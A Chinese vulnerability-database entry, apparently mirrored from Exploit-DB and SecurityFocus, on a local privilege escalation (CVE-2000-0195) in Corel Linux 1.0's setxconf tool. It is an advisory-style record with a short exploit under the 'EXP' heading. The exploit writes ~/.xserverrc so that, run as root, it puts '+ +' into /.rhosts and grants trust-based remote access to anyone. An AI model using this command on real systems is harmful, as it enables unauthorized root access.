Corel Linux setxconf漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105721 漏洞类型 输入验证
发布时间 2000-02-24 更新时间 2005-05-02
CVE编号 CVE-2000-0195 CNNVD-ID CNNVD-200002-071
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19765
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200002-071
|漏洞详情
CorelLinuxsetxconf存在漏洞。本地用户借助-T参数提升跟访问权,执行用户的.xserverrc文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/1008/info

A vulnerability exists in the setxconf utility, as shipped with Corel Linux 1.0. The -T option to setxconf will run xinit, which euid root. xinit, when executed, will invoke the contents on ~/.xserverrc. A malicious user could therefore execute commands as root.

cat > ~/.xserverrc
echo "+ +" > /.rhosts
|参考资料

来源:BID
名称:1008
链接:http://www.securityfocus.com/bid/1008
来源:BUGTRAQ
名称:20000224CorelLinux1.0localrootcompromise
链接:http://archives.neohapsis.com/archives/bugtraq/2000-02/0323.html